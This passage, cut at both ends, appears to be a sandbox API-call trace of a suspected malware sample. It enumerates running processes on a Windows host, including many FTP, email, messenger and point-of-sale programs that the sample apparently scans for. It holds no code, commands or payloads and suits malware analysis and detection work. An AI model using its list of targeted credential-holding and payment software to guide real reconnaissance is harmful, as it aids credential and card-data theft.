th32ModuleID=0x0, cntThreads=0x72, th32ParentProcessID=0x0, pcPriClassBase=8, dwFlags=0x0, szExeFile="System")) returned 1 [0276.369] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x138, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x2, th32ParentProcessID=0x4, pcPriClassBase=11, dwFlags=0x0, szExeFile="smss.exe")) returned 1 [0276.371] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x184, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x9, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.373] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x17c, pcPriClassBase=13, dwFlags=0x0, szExeFile="wininit.exe")) returned 1 [0276.375] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1c8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="csrss.exe")) returned 1 [0276.377] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x1fc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x1b8, pcPriClassBase=13, dwFlags=0x0, szExeFile="winlogon.exe")) returned 1 [0276.443] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x214, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x10, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="services.exe")) returned 1 [0276.445] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x21c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x1c0, pcPriClassBase=9, dwFlags=0x0, szExeFile="lsass.exe")) returned 1 [0276.447] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x274, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x13, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.449] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x294, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.451] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x30c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x1fc, pcPriClassBase=13, dwFlags=0x0, szExeFile="dwm.exe")) returned 1 [0276.453] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x360, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x48, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.455] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x378, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1c, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.457] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x390, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x15, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.459] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3a0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xb, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.462] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x3f4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x19, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.464] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x210, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x11, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.466] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x460, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x18, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.467] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x4e0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xd, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="spoolsv.exe")) returned 1 [0276.469] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x54c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="sihost.exe")) returned 1 [0276.472] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x604, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="RuntimeBroker.exe")) returned 1 [0276.474] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x64c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x8, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.476] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7b4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x28, th32ParentProcessID=0x798, pcPriClassBase=8, dwFlags=0x0, szExeFile="explorer.exe")) returned 1 [0276.478] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x7ec, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xa, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="taskhostw.exe")) returned 1 [0276.520] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x894, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1d, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="ShellExperienceHost.exe")) returned 1 [0276.523] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x908, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1f, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="SearchUI.exe")) returned 1 [0276.525] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xbc4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="svchost.exe")) returned 1 [0276.527] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xa04, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x214, pcPriClassBase=8, dwFlags=0x0, szExeFile="sppsvc.exe")) returned 1 [0276.529] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xaac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x4, th32ParentProcessID=0x360, pcPriClassBase=8, dwFlags=0x0, szExeFile="WMIADAP.exe")) returned 1 [0276.531] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x774, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x7, th32ParentProcessID=0x274, pcPriClassBase=8, dwFlags=0x0, szExeFile="WmiPrvSE.exe")) returned 1 [0276.533] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0x158, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0xc, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="iexplore.exe")) returned 1 [0276.535] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pay.exe")) returned 1 [0276.537] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="stay agreement figure.exe")) returned 1 [0276.539] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="focus-mr.exe")) returned 1 [0276.541] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="democrat save after.exe")) returned 1 [0276.543] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="happychoicepolicy.exe")) returned 1 [0276.545] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="half.exe")) returned 1 [0276.547] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="riskfail.exe")) returned 1 [0276.549] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="something.exe")) returned 1 [0276.551] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="for.exe")) returned 1 [0276.553] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xd98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="rate year do.exe")) returned 1 [0276.555] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="nearly_cover_oil.exe")) returned 1 [0276.601] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xda8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell.exe")) returned 1 [0276.603] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdbc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="learn night rather.exe")) returned 1 [0276.605] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdc8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="3dftp.exe")) returned 1 [0276.608] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xdd4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="filezilla.exe")) returned 1 [0276.610] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xddc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="former.exe")) returned 1 [0276.612] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xde8, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="barca.exe")) returned 1 [0276.614] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe00, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="bitkinex.exe")) returned 1 [0276.616] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe08, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="coreftp.exe")) returned 1 [0276.618] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="absolutetelnet.exe")) returned 1 [0276.620] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe18, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="better water.exe")) returned 1 [0276.623] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe20, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="far.exe")) returned 1 [0276.625] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe28, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pressure.exe")) returned 1 [0276.627] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe30, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="fling.exe")) returned 1 [0276.629] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe38, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="alftp.exe")) returned 1 [0276.631] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe40, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="tell bar result.exe")) returned 1 [0276.633] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe48, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="differentyou.exe")) returned 1 [0276.636] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe50, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="main-short.exe")) returned 1 [0276.638] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe5c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="flashfxp.exe")) returned 1 [0276.677] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe64, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="foxmailincmail.exe")) returned 1 [0276.679] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="gmailnotifierpro.exe")) returned 1 [0276.682] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xe98, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="icq.exe")) returned 1 [0276.685] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xea0, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="notepad.exe")) returned 1 [0276.687] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xeb4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="pidgin.exe")) returned 1 [0276.690] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xebc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="skype.exe")) returned 1 [0276.693] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xec4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="scriptftp.exe")) returned 1 [0276.695] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xecc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ncftp.exe")) returned 1 [0276.697] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xed4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="leechftp.exe")) returned 1 [0276.702] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xedc, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="outlook.exe")) returned 1 [0276.704] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xee4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="operamail.exe")) returned 1 [0276.707] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf10, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="smartftp.exe")) returned 1 [0276.709] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf34, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="thunderbird.exe")) returned 1 [0276.712] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf3c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="trillian.exe")) returned 1 [0276.714] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf44, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="webdrive.exe")) returned 1 [0276.716] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf54, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="whatsapp.exe")) returned 1 [0276.719] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf68, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="winscp.exe")) returned 1 [0276.721] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf70, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="active-charge.exe")) returned 1 [0276.772] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf78, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="yahoomessenger.exe")) returned 1 [0276.774] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf84, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="accupos.exe")) returned 1 [0276.777] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf8c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="ccv_server.exe")) returned 1 [0276.779] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf94, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="aldelo.exe")) returned 1 [0276.781] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xf9c, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="afr38.exe")) returned 1 [0276.783] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfa4, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="centralcreditcard.exe")) returned 1 [0276.786] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfac, th32DefaultHeapID=0x0, th32ModuleID=0x0, cntThreads=0x1, th32ParentProcessID=0x7b4, pcPriClassBase=8, dwFlags=0x0, szExeFile="creditservice.exe")) returned 1 [0276.788] Process32Next (in: hSnapshot=0x344, lppe=0x102efe20 | out: lppe=0x102efe20*(dwSize=0x130, cntUsage=0x0, th32ProcessID=0xfb4, th32DefaultHeapID=0x0, 